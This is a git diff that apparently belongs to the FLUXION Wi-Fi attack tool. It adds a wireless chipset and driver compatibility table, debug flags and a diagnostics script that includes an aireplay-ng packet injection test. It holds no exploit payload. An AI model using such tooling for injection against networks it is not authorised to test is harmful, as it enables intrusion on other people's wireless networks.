za^IQtxm@_XR?JQnr97nLE~z6mrb9HI1WAmB(p6M)U=;jl-?kFKz*R3t1f7L7`X(Ya z6+{W2#8P)3Dw%c^U zZbWR8CHwx>Le8*D9^F*lXf)15d?`~v8AAyfW5+O0X0qT#Qab}T%&F-M=JdETU6nsP zcV!P))b!gx7DSy+-&0ZtPgeV^h)uDjhB5tiGb}$ge9bh>nClrRX4>JN?^xz0^>MhL zZyra`T?cDv_DBA7WGz8x6XhT`Kp9^y$&WJ@gtnrhOWqMIQ-A;XAAro!q}?O(3uIM1 zD%dH^F6Hp#>mk+JU;`(_^EYK>C=1c7iT#y7xP}!Jt>qQ)YbswsY!mBsW&Yv(weeW! zql|gkP%{#u+G+$BksEUs5pWLeSD10O!^XQTVuiwSvZWtX(hh&=vBjM<6aP%d?>uhGo!c&NmhqkY@q4(3Z(DbF zkB1dvH-Q1YVlBQpj1t9`IcJvGSA0+x62qNo_^ALf>NXLLV6HY$_t|oxo-e&UhCC4f zP)B0X=^Aw}f>~q9ImFO&#O>8)LCi{Xr#H~AqYVBeKCVBxm^nJow@D%0$*h+`^y_q0 zi7U}>wp0u59#|ewUuJ4Y<#9J9vKQ|AKFMsbfrTYQc zIN1~dz_aXg5comS?&0&+e$a6M$-STT!E`6FJ~65GdGzBR*yV76gYj-lM`vdugUe1w z*ZUe06~C7+1b$pDLb=r6oIj&{djhqcboTnjZVlOx*)2K z9cn(luEV3#2;JnYt*T}$eZfc+*=LmM0gpAJUKHZbYU&R4bAhG?4?6VLPNHrcxOm6u z;SMTxB$4SJ5oM}e{7gSBJeS=&pAOD{#o=g49+uQ#$n23m)pa81>E+JoUa>?i?X-0m z^0<6?r9-L0k*+jBvpe+VP%b4lj*oj~lZ~y(E`wZMU$nC{IP5u?yHuQa&ju zN0OgU3$Lj7$$M7U<*Gv!Z4)&;(bbdCWS|-ADuXobpN)Hm^?pUUM;Jf5Pv$}9!fdKr z7nCFExM?A-GyD<^?4(|H|A{&MA99H0Kje@R?m{C!l2jnj?Bhy=Z;Nr6xrrv8b%%^u zyyJfw{)`fZ)GEZe8(aOeJa~=(p-70w0XAW~)>freDQ?FYO&t zr2Gah9hILtb{n4Sj9H+eGwEiWi6&)b1Nwmtwrfvb$WvuTLEeF!XCT8^YY|2!i;uGv zKmBaV`yS0&(Z;U%oUOgI>~w~0phtY`u;JkQOR?M=sO~f6cnO)HXOvVJnbXdcAm{wO z#4!Qd3?O5>GR4nYJYuHLcrX((DvU}1p|YtsrPk15F%n4p(i+33i?JUsY)6arE%2T& zzuRH>#!YG^HCsPx-NflBF6x(xl+ARDTE)8l<(1-_^t&r%b|i1$+Bwm8kJQUX^YX)U z3qhe;p==kXxFE(v({>xQ`Fk%oUt!x0W7zkZB;Te0g+(&N!RS{~^;ax|&P*rA9o|q# zfWpCOQL^?i(j@26$1F>l=Cag$Kblfg9)DG}&{#V!l%aL1c92R*0RGQw;;i=)9r@p(M6IB2U=Vj*l1i^I8n4NASQ@>Jv z>D5o`ow+G5WayLdRZQj-iV%ODB(;IPRo0f&)j+{dkGt0IVj5v z&nDPt=G)rQL7HD{d`pgbQ#k8>MPmBJ*LsN2Fz!R`S}Y+GqF}5+QqT9*e3JpAuc2hm zBfh@k=R&S3kCuDH3WEe*`esrmdEi}J?M!J~df~jYlz9%KOp%+4kWWnQ=E~$}gHuw& zszifgJ%O~bzbm7GTbuT6ctLy!VeVEl&QoAFNuyXB<%}kNzdd}_7WPMnB-sl?6o?gD z;brhpkPG?4&&pC$&gpnzQ>|9#&1dVU-QqyXTVDQK;c23S0nLceB6C@wkQW=e<$`_K z)P`^oAy(Dm&~mVu4Q17SqD(Cld;0v-e3|9(rL2Xj*FK$t;8$CxHSOP0iei7UcsI1H zb149W{?79z-=wNM+wyfdxXoSwj5nTMK0V%O1Ixts4@8L?a-AsY$NrMZ`D;}6R_z0Z zR%W!y-1+rQ;il}{`a>#~9V|jUr4U zl_KYQOe04{<}LQ8x>tyG7zUeUlS{Ij9yyHnh*yWoxDq=Ju=?hjMTD`0I*8jspC4-D zsU7ex^(2xKzar8VNb-i28P$hpsrYm!Ny7nuE1-Ow@}#$Xy@9mjQc-GKRmH+El_(MV z+0LNj230Ys7Cy95xk>bhW-N$H!iU9US=L)OcFoYn0sce&t64aIWw=?3OUXBfdjK)4X zC$HcBLGA?wDQp|fEIB7*rBM5*K|}?pJ>@Iu3yvX_j8k zx6~QqlZo>{yf@81q{CE>S475yMTgkbBABiWkS~f`+8cIVos^cYIa7a< zIsAt0j8(9}xY*TC>^rMSoPG0RATI>&HYe71Mhc#GH+RMc&bu%{i;VTW)RNhCt~hZz zyw+u3WN`{}_uZn~2Y*)yc^y}zY#$~96iPF8!-y~rN~Fz=gWyu7znVaj0^Ed%kwzhv zB%`T!*!qy#BlTOycH#0t`($FA@=Q8TY4S$^u2Gc$eis*kkMc7iBZZGJE4|pBPcA~J zqjF9$jZivgjcl&hP&aL^WZp3&^`Ul-USpmf{88YTPNQ?qRzP=`vPI4tg{qtu$168& z_|oF7lUO_h{!K-LH{~SK!kM<;%0`EjIEw_QMRlLpaLygI%Pn-CGfG@iM`viwf%Z)i zoR;R`BXMP;W(*SIFE88ot6IEp89%~!6e{bY-uB@+gLG=KGtE^^fJpN5ep6z8Rby)m z#D^#4oZckJCk2(USX+|pMq$RQ`rvlD!oS%Dw$8>S?BgH)SvxwT!*Cu{E zGVA!pS*}!@A>fi}f#xBF4|)j6?X3+gOvIW<4u>+;ff#EI$}qY_)*|~Da*UUq6+)^Z zRBj&LAa&c!R-^xr{11?u{}1qS$eN|R<{yAX`7Ez4{6zl2Hhfcb&E{bnxx4p3MH6tF zim6uukEN_zK!x97a&G-E7=L^YOKIG&xVoj|^1Wx-IAS@=D;4?&@ZGrhgUO=4*ne@S-sr2fKVW#yyO=lAU}F6T5WxhaR!cV3qI{|mzPPEjas7XVMA;Td z4OrdLy*mcl`^I;3JnI;eCHqOC&Ep{%K5&`p{V79Xq4D^?(fk_-za=rQMwWMnIzCWQ z6a262A0T>&e*hIKjmE@+Pt1S{AF^uzr=A@27uIbozo)Zi(hhbhbPz_q_96bUzyHxH* z*z`P{!U?s&Jp1=`mx)&hqD|xYs6(VhJGy;7to2Z2t^@sgZ@IAT_MCAszhOSL+D{Ta zEeZxr-QUB&NX9$| zvyoZZ5M|3KqJ|fx;iR=!md8NA3DXAjF$UQV)+jcGs^V|t^6R;5I%~SI*#^p zoTDI{4MLDv=duAIe719q8(~jNYr{+Z-0mGqI1a(7!Zv>~?&LNWaG^^w&5_>=(~>9| zG}05fo_g^Qux%>~wUTN|o$f6|gYC9>e4q)E~7Pf8gV8LL*tu~$*vg%NiXgdq^Pyo7wS=qTN>#8BFP`t}y#D<(A z6ts1z^l2cWGH|*G4b^DQ7H&u9&TnmArodwYZ;tIeD1HsU?*9&+LdWFRT&8{u1joSg zr{8~Kgs{!S0u$LMP~P>cJyz$6f%jb@it=|?=VNL&xjfTd+lL#L66lfT`vqnt4!9e5 zfZIDEzL9CkGw#5y`rsi|iE-ty@ZfM78J;XI!1B&oruoccg?FyE8!cfni*BzfvD;io z?U6p)-4J^@0>l>~Nd5LpZiHp}J7(xUFU+Ca=@;H!BBtzMzwq_80-grSD5MQcqpr~# z^dV;33wN~vBeR*CaJ2NiETZzVq{bg~8VEC8&%UoU?vXm5_;_xu8BWw5Ec_nLGDm$G zu5*5>YaUm^^5K2+QTO+kTgZJb7!rOoaepoH9Q_*3tPoJC?3Q(e)R#wjeHj2fn^$Bp z=s>StU)GIeyM+^(h>H2jhbogcfw)7he?%SGwwE2kXO%vIKyw?}0zF~YCc-nmK3?1I z9Ufb?U6)wRd49%AoY^iB#c|I#G_Hm*-P*C1i78 zaC;~22KaQms4GnJYxTuzzn}YY%HVs1an?=OtK<9k7F!MZl^7xOZbNVNl9PL@Q{D3h z_jdhenD4~`MI)D<5~FY^|M@>aYKkfRuY&7_=!H$U0l}0KGerK{4i&OQ^pJ+qsyswn zzuvwJ-c?EwG3grkizJ>J`eJPtOz|1zcGm-hq%s$Um4qxgqNM_p!=JF{o_DJ?iuU^r3;L`yT5)am+{HSpa+x}0Ls{!5cHVCFl8 zN(cmTKJjf29XA^)vU>k=b}I<|YOlYfdAUUK=(vD4u+X;A);%gVPD!bK?3c8iG0G%& zKCI?E)UHUzBh&sIX9&|ft`_8;j z9vxD*k?hwH5TlhkaeDu1M-BaKC3OmQ6Y9ls(p#ihw=y8ccFE8fzH-$mTBn2}-J9hU zQY3d>DK+Xn94Na`^U>^gj@yQL?R|J0V!yra02T&cw9_l8JOd}o%xn~2j>A01dTBx} zTK)k(D2h%j?0)I=*|rTn$M{psz>h|m`ByU2sT21OA>iD3Ma3J`_9<}gyvjJJlcECe zbgo8ZUa50p_U7*yqE6M$BzMSGQLM&BTCIW8d+NRi25x5@mRd)=M2qD@kh}RnW~8mP z$@KQa?+06J;vTLrxzcSS7cp_!)$ZD7S+MAHz zp2_a!=BPCgg$Va(gcQgL9I_apFBdS{jos*l6D9clcjZM?C}`dHY!|h|Ij+!d6om>H jIPga=z?BbJz%#obLzB3=Gj!Iig7i@~ebpr5-_rjB& + + + ADMtek + ADM8211, ADM8211B + adm8211 + WEP + ? + ? + ? + ? + ? + ? + PCI/CB + currently broken AFAIK +adm8211 + b + + + Agere + HERMES II (WL60010) + wlags49_h2 + ? + y + ? + n + n + n + n + PCI/ PCMCIA + staging (vendor) driver +wlags49_h2 + b + + + Agere + HERMES II.5 (WL60040) + wlags49_h25 + ? + y + ? + n + n + n + n + PCI/ PCMCIA + staging (vendor) driver, not all devices supported +wlags49_h25 + (a)/b/g + + + Airgo + AGN100/AGN300 pre-N + agnx + + n + n + n + n + n + n + PCI/CB + driver never completed, abandoned +agnx + (a)b/g + + + Airgo + AGN300 pre-N USB + none + + + + + + + + USB 2.0 + devices not common + b/g + + + Aironet / +Cisco + 4500, 4800, +Cisco 340/350 + airo + WEP, WPA-TKIP + y + ? + ? + n + y + n + ISA/PCI /PCMCIA + airo + b + + + ALi + M4301A + none + + + + + + + + PCI/CB + devices not common (mainly WUSB11 v4) + b + + + AMD + Alchemy AM1772 + none + + + + + + + + PCI/CB + see this abomination + b + + + Atheros + + + + + + + + + + + + + + + Atheros + AR5000 + ath5k + + b + b + b + b + y + b + PCI/CB + tx support currently broken +ath5k + a + + + Atheros + AR5001A-AR5007EG + ath5k + WEP, WPA, WPA2 + y + y + y + y + y + y + PCI/PCIe /CB + ath5k + (a)/b/(g) + + + Atheros + AR5000-AR5007EG + madwifi + WEP, WPA, WPA2 + y + y + y + ? + y + ? + PCI/PCIe /CB + superseded by ath5k + (a)/b/(g) + + + Atheros + AR5513 +(Data Falcon) + none + + + + + + + + PCI/CB + somewhat relevant + (a)/b/g + + + Atheros + AR5005U (AR5523) + ar5523 + WEP, WPA, WPA2 + n + n + n + n + y + n + USB 2.0 + driver never completed, 5GHz mode non-functional? +ar5523 + (a)/b/g + + + Atheros + AR5005U (AR5523) + athusbwlan + WEP, WPA, WPA2 + y + ? + n + n + n + n + USB 2.0 + obsolete vendor driver + (a)/b/g + + + Atheros + AR9001U +(AR9170) + carl9170 + WEP, WPA, WPA2 + y + y + y + n + y + y + USB 2.0 + carl9170 + (a)/b/g/n + + + Atheros + AR600x + ar6k + WEP, WPA, WPA2 + y + ? + ? + ? + ? + ? + SDIO + + (a)/b/g + + + Atheros + AR6003 + ath6kl + WEP, WPA, WPA2 + y + y + n + n + n + ? + SDIO + driver currently in staging +0271:0402 +ath6kl + a/b/g/n + + + Atheros + AR9374 + ath6kl + + + + + + + + USB 2.0 + 0cf3:9375 +ath6kl + (a)/b/g/n + + + Atheros + AR2427+AR5008 ++AR900x + ath9k + WEP, WPA, WPA2 + y + y + y + y + y + y + PCI/PCIe /CB + fcs check broken in monitor mode since ~2.6.33 +ath9k + (a)/b/g/(n) + + + Atheros + AR9002U +(AR9271, AR7010) + ath9k_htc + WEP, WPA, WPA2 + y + y + y + y + y + y + USB 2.0 + 0411:0197 +ath9k_htc + (a)/b/g/n + + + Qualcomm Atheros + QCA6164, QCA6174, +QCA9880 v2, QCA9882 v2 +QCA9890 v2, QCA9892 v2 + ath10k + WEP, WPA, WPA2 + y + y + y + n + y + y + PCIe + +3.11 (4.3) +168c:003e +168c:0041 +ath10k + a/b/g/n (+ac) + + + Qualcomm Atheros + Wilocity Wil6210 +802.11ad 60GHz + wil6210 + + + + + + + + PCIe + wil6210 + a/b/g/n (+ac+ad) + + + Qualcomm + WFB400 + none + + + + + + + + PCI/ PCIe/ CB/ USB 2.0 + unknown if released, +Airgo AGN400 + (a)/b/g/n + + + Atmel + + + + + + + + + + + + + + + Atmel + AT76C502A + atmel + WEP + y + ? + n + n + ? + n + PCMCIA + atmel cs + b + + + Atmel + AT76C503A, AT76C505(A) + at76c50x-usb + WEP + y + n + n + n + beacons + n + USB 1.0 + at76c50x-usb + b + + + Broadcom + + + + + + + + + + + + + + + Broadcom + BCM4301, BCM4307, BCM4306r2 + b43legacy + WEP, WPA, WPA2 + y + y + y + y + y + y + PCI/CB/ PCMCIA + ssb +b43legacy + b/(g) + + + Broadcom + BCM4306r3, BCM4311, BCM4312, BCM4309, BCM4318(E), BCM4321, BCM4322 + b43 + WEP, WPA, WPA2 + y + y + y + y + y + y + PCI/PCIe /CB + ssb, no HT mode support +b43 + (a)/b/g/(n) + + + Broadcom + BCM43224, BCM43225, BCM4331 + b43 + WEP, WPA, WPA2 + y + y + y + y + y + y + PCIe + bcma, no HT mode support, no current 5GHz support +b43 + (a)/b/g/n + + + Broadcom + BCM4311, BCM4313, BCM4321, BCM4322, BCM4322x, BCM43225, BCM43227, BCM43228 + wl + WEP, WPA, WPA2 + y + y + n + n + n + n + PCIe + vendor driver +wl + (a)/b/g/(n) + + + Broadcom + BCM4320 and other +rndis variants + rndis_wlan + + y + y + n + n + n + n + USB 2.0 + rndis wlan + b/g + + + Broadcom + BCM4323x + none + + + + + + + + USB 2.0 + possible future support w/ brcmfmac? (probably not) + (a)/b/g/n + + + Broadcom + BCM43235, BCM43236, BCM43238 +(chip revision dependent) + brcmfmac + y + ? + ? + ? + ? + n + n + USB 2.0 + patch adding support recently added +brcmfmac + (a)/b/g/n + + + Broadcom + BCM4326U + none + + + + + + + + USB 2.0 + + b/g + + + Broadcom + BCM4329 + brcmfmac + WEP, WPA, WPA2 + y + ? + ? + ? + n + n + SDIO + brcmfmac + a/b/g/n + + + Broadcom + BCM43224, BCM43225 + brcmsmac + WEP, WPA, WPA2 + y + ? + ? + ? + y + ? + PCIe + BCMA +brcmsmac + (a)/b/g/n + + + Conexant + + + + + + + + + + + + + + + Conexant + CX53111 + none + + + + + + + + SDIO + + b/g + + + Conexant + CX53822 + none + + + + + + + + CF + + (a)/b/g + + + Envara + WiND502/512 + none + + + + + + + + USB 2.0 + WiND512 (b/g) devices common + (a)/b/g + + + Inprocomm + IPN2120, IPN2220 + none + ? + + + + + + + PCI/CB + + b/(g) + + + Inprocomm + IPN2128 + none + ? + + + + + + + SDIO + + b + + + Intel + + + + + + + + + + + + + + + Intel + PRO/Wireless 2100B + ipw2100 + ? + y + y + n + n + y + ? + PCI + ipw2100 + b + + + Intel + PRO/Wireless 2200BG, 2915ABG + ipw2200 + WEP, WPA, WPA2 + y + y + oot + n + ? + ? + PCI + ipw2200 + (a)/b/g + + + Intel + PRO/Wireless 3945ABG + iwl3945 + WEP, WPA, WPA2 + y + y + n + n + y + y + PCI + iwl3945 + a/b/g + + + Intel + Wireless WiFi Link 4965AGN + iwl4965 + WEP, WPA, WPA2 + y + y + n + n + y + y + PCI + iwl4965 + a/b/g/n + + + Intel + WiFi Link 5100, 5150, 5300, 5350 - Centrino 100, 130, 1000, 1030, 6150, 6200, 6250, 6300 + iwlagn + WEP, WPA, WPA2 + y + y + n + n + y + y + PCI + iwlagn +iwlwifi + (a)/b/g/n + + + Intel + IWMC3200 (Evans Peak) + iwmc3200 + WEP, WPA, WPA2 + y + y + n + n + n + n + SDIO + iwmc3200 + a/b/g + + + Intersil + + + + + + + + + + + + + + + Intersil + PRISM 2/2.5/3 +PCI/CF/PCMCIA + hostap + ? + y + ? + y + n + y + y + PCI/CB /USB + hostap + b + + + Intersil + PRISM 2.5/3 USB + prism2_usb + WEP + y + ? + n + n + y + b + PCI/CB /USB + staging driver from linux-wlan-ng +prism2 usb + b + + + Intersil + ISL3877, ISL3880, +ISL3890, ISL3886 + p54pci + WEP, WPA, WPA2 + y + y + y + y + y + y + PCI/CB + p54pci + (a)/b/g + + + Intersil + ISL3880/ISL3886 ++ NET2280, ISL3887 + p54usb + WEP, WPA, WPA2 + y + y + y + y + y + y + USB 2.0 + p54usb + (a)/b/g + + + Lucent + HERMES I (WaveLAN +/IEEE/ORiNOCO) + orinoco + WEP, WPA-TKIP + y + y + n + n + y + oot + PCI/ PCMCIA/ USB 1.0 + no Bronze support +orinoco +orinoco usb + b + + + Marvell + + + + + + + + + + + + + + + Marvell +(Libertas) + 88W8310 + none + + + + + + + + PCI/CB + + b/g + + + Marvell +(Libertas) + 88W8335 + mrv8k + + + + + + + + PCI/CB + mrv8k + b/g + + + Marvell +(Libertas) + 88W8338 + none + + + + + + + + USB 2.0 + + b/g + + + Marvell +(Libertas) + 88W8385, +88W8388, 88W8686 + libertas + ? + y + y + n + n + n + n + USB/CF /SDIO + libertas + b/g + + + Marvell +(Libertas) + 88W8388 + libertas_tf + ? + y + n + y + ? + ? + ? + USB/CF /SDIO + OLPC XO-1, +supports mesh + b/g + + + Marvell +(TopDog) + 88W8360, 88W8361, +88W8362 (USB), +88W8362E, 88W8363 + none + + + + + + + + PCI/PCIe/ CB/USB2.0 + + (a)/b/g/n + + + Marvell +(TopDog/ +Avastar*) + 88W8366, 88W8863, +88W8687, 88W8764* + mwl8k + ? + y + ? + y + ? + y + ? + PCIe + mwl8k + (a)/b/g/n + + + Marvell +(Avastar) + 88W8797 (88W8786U) + mwifiex + ? + ? + ? + ? + ? + ? + ? + USB + 1286:2049 +mwifiex + a/b/g/n + + + Marvell +(Avastar) + 88W8786, 88W8787, +88W8797, 88W8897* + mwifiex + ? + ? + ? + ? + ? + ? + ? + SDIO + 02df:9139 +mwifiex + a/b/g/n (+ac)* + + + Marvell +(Avastar) + 88W8766, 88W8897* + mwifiex + ? + ? + ? + ? + ? + ? + ? + PCIe + 11ab:2b38 +mwifiex + a/b/g/n (+ac)* + + + Marvell +(Avastar) AC* + 88W8864*, 88W8897* + mwlwifi + ? + ? + ? + ? + ? + ? + ? + PCIe + iwlwifi +WRT1900 +iwlwifi + a/b/g/n (+ac)* + + + Marvell + unknown + mrvl_cb82 + + + + + + + + + + + + + MediaTek + + + + + + + + + + + + + + + MediaTek + MT5911N + none + + + + + + + + SDIO + + b/g + + + MediaTek + MT7601U + mt7601u + + + + + + + + USB + vendor driver + a/b/g/n + + + MediaTek + MT7610U + mt7601u + + + + + + + + USB + vendor driver + a/b/g/n (+ac)* + + + Metalink + MtW817x + none + + + + + + + + PCI + + a/(b)/(g)/n + + + No Wires Needed + Swallow + swallow_cs + WEP + y + ? + n + n + n + n + PCMCIA + obsolete out of kernel driver + b + + + No Wires Needed + Poldhu + poldhu + WEP + y + y + n + n + n + n + PCMCIA + obsolete out of kernel driver +poldhu cs + b + + + Ralink + + + + + + + + + + + + + + + Ralink + RT2460 + rt2400pci + ? + y + y + y + n + y + y + PCI/CB + + b + + + Ralink + RT2560 + rt2500pci + WEP, WPA, WPA2 + y + y + y + n + y + y + PCI/CB + + (a)/b/g + + + Ralink + RT2561, RT2561S, RT2661 + rt61pci + WEP, WPA, WPA2 + y + y + y + n + y + y + PCI/CB + + (a)/b/g + + + Ralink + RT2571, RT2572 + rt2500usb + WEP, WPA, WPA2 + y + y + y + n + y + y + USB 2.0 + + (a)/b/g + + + Ralink + RT2571W, RT2573, RT2671 + rt73usb + WEP, WPA, WPA2 + y + y + y + n + y + y + USB 2.0 + + (a)/b/g + + + Ralink + RT2760, RT2790, RT2860, RT2880, RT2890, RT3052, RT3090, RT3091, RT3092, RT3390, RT3060, RT3062, RT3562, RT3592, RT5390, RT3290 + rt2800pci + WEP, WPA, WPA2 + y + ? + y + ? + y + y + PCI/PCIe /CB + Wiki + (a)/b/g/n + + + Ralink + RT2760, RT2790, RT2860, RT2880, RT2890, RT3052, RT309x + rt2860sta + WEP, WPA, WPA2 + y + ? + y + ? + y + n + PCI/PCIe /CB + vendor driver + (a)/b/g/n + + + Ralink + RT2770, RT2870, RT2070, RT3070, RT3071, RT3072, RT3370, RT3572, RT5370, RT5572, RT8070 + rt2800usb + WEP, WPA, WPA2 + y + y + y + y (??) + y + y + USB 2.0 + Wiki + (a)b/g/(n) + + + Ralink + RT2770, RT2870, RT2070, RT307x + rt2870sta + WEP, WPA, WPA2 + y + ? + ? + n + n + n + USB 2.0 + vendor driver + (a)/b/g/(n) + + + Ralink + RT3572 + rt3572sta + WEP, WPA, WPA2 + y + ? + ? + ? + n + n + USB 2.0 + + a/b/g/n + + + Ralink + RT3573 + none + + + + + + + + USB 2.0 + three stream + a/b/g/n + + + Realtek + + + + + + + + + + + + + + + Realtek + RTL8180L, RTL8185L, +RTL8187SE (3.15+) + rtl8180 + WEP, WPA, WPA2 + y + n + n + n + y + ? + PCI/CB + + b/(g) + + + Realtek + RTL8187L, RTL8187B + rtl8187 + WEP, WPA, WPA2 + y + n + n + n + y + y + USB 2.0 + + b/g + + + Realtek + RTL8187SE + rtl8187se + WEP, WPA, WPA2 + y + ? + ? + ? + ? + ? + PCI + + b/g + + + Realtek + RTL8190 + r8190_pci + ? + ? + ? + ? + ? + ? + ? + PCI +/ CB + vendor driver + b/g/n + + + Realtek + RTL8192E + r8192e_pci + WEP, WPA, WPA2 + y + ? + ? + ? + ? + ? + PCIe + staging (vendor) driver + (a)/b/g/n + + + Realtek + RTL8191SE, RTL8192SE + rtl8192se + WEP, WPA, WPA2 + y + ? + ? + ? + ? + ? + PCIe + + b/g/n + + + Realtek + RTL8192U + r8192u_usb + WEP, WPA, WPA2 + y + ? + ? + ? + ? + ? + USB 2.0 + staging (vendor) driver + b/g/n + + + Realtek + RTL8188SU, RTL8191SU, RTL8192SU + r8712u + WEP, WPA, WPA2 + y + ? + ? + ? + ? + n + USB 2.0 + staging (vendor) driver + b/g/n + + + Realtek + RTL8188SU, RTL8191SU, RTL8192SU + r8192s_usb + WEP, WPA, WPA2 + y + ? + ? + ? + y + ? + USB 2.0 + staging (vendor) driver, superseded by r8712u + b/g/n + + + Realtek + RTL8188CE, RTL8192CE + rtl8192ce + WEP, WPA, WPA2 + y + ? + ? + ? + ? + n + PCIe + + b/g/n + + + Realtek + RTL8188CUS, RTL8192CU, RTL8188RU + rtl8192cu + WEP, WPA, WPA2 + y + y + n + ? + y + n + USB 2.0 + + b/g/n + + + Realtek + RTL8192DU + rtl8192du + WEP, WPA, WPA2 + y + ? + ? + ? + ? + ? + USB 2.0 + driver available here, may panic on init on some kernels + a/b/g/n + + + Realtek + RTL8192DE + rtl8192de + WEP, WPA, WPA2 + y + ? + ? + ? + ? + n + PCIe + + a/b/g/n + + + Renesas + + + + + + + + + + + + + + + Renesas + KS7010 + ks7010 + ? + ? + ? + ? + ? + ? + ? + SDIO + from Javi Roman + b + + + ShareWave / Cirrus Logic + Bodega + none + + + + + + + + PCI/ PCMCIA/ USB 1.0 + rare devices, support the proprietary Whitecap protocol + b + + + SiS + 160 + sis160 + ? + y + ? + n + n + n + n + PCI + rare devices, driver is a useless binary blob + b + + + SiS + 162, 162U + sis162 + ? + y + y + n + n + n + n + PCI/ USB 2.0 + driver is a useless binary blob + b + + + SiS + 163, 163U + none + + + + + + + + PCI/CF/ USB 2.0 + + b/g + + + ST-Ericsson + CW1100, CW1200 + cw1200 + + + + + + + + SDIO +/ PCI + (since 3.11) + b/g + + + ST-NXP + STLC4560 + p54spi + WEP, WPA, WPA2 + y + y + y + y + y + y + SPI + + b/g + + + Symbol + Spectrum24 DS + orinoco + WEP + y + ? + n + n + y + n + PCI/ PCMCIA + orinoco + b + + + Syntek/3DSP + unknown +(Bluew-2310x) + none + ? + + + + + + + PCI + compiled modules available + b/g + + + Syntek/3DSP + STK9100+STK9230 +(Bluew-2310u) + 3dspusbwlan + ? + + + + + + + USB 2.0 + partial source? + b/g + + + Texas Instruments + + + + + + + + + + + + + + + Texas Instruments + ACX100 (TNETW1100), ACX101 (TNETW1100B), ACX111 (TNETW1130), TNETW1450 + acx1xx + WEP, WPA, WPA2 + y + ? + n + n + y + ? + PCI/CB /USB + acx100 +acx + b/(g) + + + Texas Instruments + WL1251 + wl1251 + WEP, WPA, WPA2 + y + y + n + ? + y + ? + SPI/ SDIO + + b/g + + + Texas Instruments + WL1271 + wl1271 + WEP, WPA, WPA2 + y + y + y + n + n + n + SPI/ SDIO + + (a)/b/g/n + + + VIA + VT6551 + none + ? + ? + ? + ? + ? + ? + ? + PCI + + b + + + VIA + VT6555 + vt6655 + ? + y + ? + ? + ? + ? + n + PCI + staging (vendor) driver +vt6656 + (a)/b/g + + + VIA + VT6556 + vt6656 + ? + y + ? + ? + ? + ? + n + PCI + staging (vendor) driver +vt6656 + (a)/b/g + + + WavePlus + WP1200 + none + + + + + + + + PCI/ PCMCIA + devices not common + b + + + Winbond + W89C33D + none + + + + + + + + PCI + devices not common + b/g + + + Winbond + W89C35D + winbond + ? + y + ? + n + n + n + n + USB 2.0 + staging (vendor) driver only supports 'b' +w35und + b/g + + + ZyDAS + + + + + + + + + + + + + + + ZyDAS + ZD1201 + zd1201 + WEP + y + ? + ? + ? + y + ? + USB 1.0 + zd1201 + b + + + ZyDAS + ZD1201 + zdsta + WEP + y + ? + ? + ? + ? + n + USB 1.0 + obsolete vendor driver + b + + + ZyDAS + ZD1201 + zdsta + WEP + y + ? + ? + ? + ? + n + PCMCIA + obsolete vendor driver, devices not common + b + + + ZyDAS + ZD1202 + zdsta + WEP + + + + + + n + PCI/CB/ PCMCIA + obsolete vendor driver, devices not common + b + + + ZyDAS + ZD1211/ZD1211B + zd1211rw + WEP, WPA, WPA2 + y + y + y + y + y + y + USB 1.0 + 5GHz band not supported, no hw crypto +zd1211rw + (a)/b/g + + + ZyDAS + ZD1212/ZD1212B + zd1212 + WEP, WPA, WPA2 + y + y + y + + + n + PCI/CB + obsolete vendor driver, devices not common + (a)/b/g + + + Manufacturer + Chipset + Driver + Station + Ad-hoc + AP + Monitor + Bus + Notes + + + + PHY Modes + + + Aironet + ARLAN + arlan + ? + ? + ? + ? + ISA + driver abandoned + + + + pre-b (900MHz or 2.4GHz) + + + Lucent + WaveLAN + wavelan + ? + ? + ? + ? + PCMCIA/ISA + driver abandoned + + + + pre-b (900MHz or 2.4GHz) + + + Raytheon + Raylink + ray_cs + ? + ? + ? + ? + PCMCIA + USB variants not supported + + + + 2.4GHz FHSS + + + ShareWave + chipset before +Bodega (Epic?) + none + + + + + PCI/PCMCIA + uncommon devices + + + + Whitecap + + + Symbol + Spectrum24 FHSS + none + + + + + PCMCIA + + + + + 2.4GHz FHSS + + + Xircom + Netwave + netwave_cs + ? + ? + ? + ? + PCMCIA + driver abandoned + + + + pre-b, 1Mb + + + AMD + Am79C930 +(presumably) + wl3501_cs + ? + ? + ? + ? + PCMCIA + PRISM I based RF + + + + 2Mb, pre-802.11b + + diff --git a/preferences/.gitkeep b/preferences/.gitkeep new file mode 100644 index 0000000..e69de29 diff --git a/scripts/debug.sh b/scripts/debug.sh new file mode 100755 index 0000000..8fd182c --- /dev/null +++ b/scripts/debug.sh @@ -0,0 +1,6 @@ +#!/usr/bin/env bash + +# These are the debug flags used by the script +export FLUXIONDebug=1 +export FLUXIONWIKillProcesses=1 +export FLUXIONWIReloadDriver=1 diff --git a/scripts/diagnostics.sh b/scripts/diagnostics.sh new file mode 100755 index 0000000..c545cd4 --- /dev/null +++ b/scripts/diagnostics.sh @@ -0,0 +1,111 @@ +#!/usr/bin/env bash + +clear +declare -r HEADER_SIZE="####" + +# Diagnostic script + +if [ -d "lib" ];then + source lib/InterfaceUtils.sh + source lib/ChipsetUtils.sh +elif [ -d "../lib" ];then + source ../lib/InterfaceUtils.sh + source ../lib/ChipsetUtils.sh +else + echo -e "\033[31mError lib folder not found\033[0m" + exit 1 +fi + +if [ ! "$1" ]; then + echo -e "\033[32mUsage ./scripts/diagnostics [wireless_interface]\033[0m" + exit 1 +fi + +echo "$HEADER_SIZE FLUXION Info" +if [ -f "fluxion.sh" ];then + declare -r FLUXIONInfo=($(grep -oE "FLUXION(Version|Revision)=[0-9]+" fluxion.sh)) +else + declare -r FLUXIONInfo=($(grep -oE "FLUXION(Version|Revision)=[0-9]+" ../fluxion.sh)) +fi + +echo "FLUXION V${FLUXIONInfo[0]/*=/}.${FLUXIONInfo[1]/*=/}" +echo -ne "\n\n" + +echo "$HEADER_SIZE BASH Info " +bash --version +echo "**Path:** $(ls -L $(which bash))" +echo -ne "\n\n" + +echo "$HEADER_SIZE Interface ($1) Info " +if interface_physical "$1";then + echo "**Device**: $InterfacePhysical" +else + echo "**Device:** Unknown" +fi + +if interface_driver "$1";then + echo "**Driver:** $InterfaceDriver" +else + echo "**Driver:** Unsupported" +fi + +if interface_chipset "$1";then + echo "**Chipset:** $InterfaceChipset" +else + echo "**Chipset:** Unknown" +fi + +if iw list | grep monitor | head -n 1 | tail -n 1 &>/dev/null;then + echo "**Master Modes** Yes" +else + echo "**Master Modes** No" +fi + +echo -n "**Injection Test:** " +aireplay-ng --test "$1" | grep -oE "Injection is working!|No Answer..." || echo -e "\033[31mFailed\033[0m" +echo -ne "\n\n" + +echo "$HEADER_SIZE XTerm Infos" +echo "**Version:** $(xterm -version)" +echo "**Path:** $(ls -L $(which xterm))" +echo 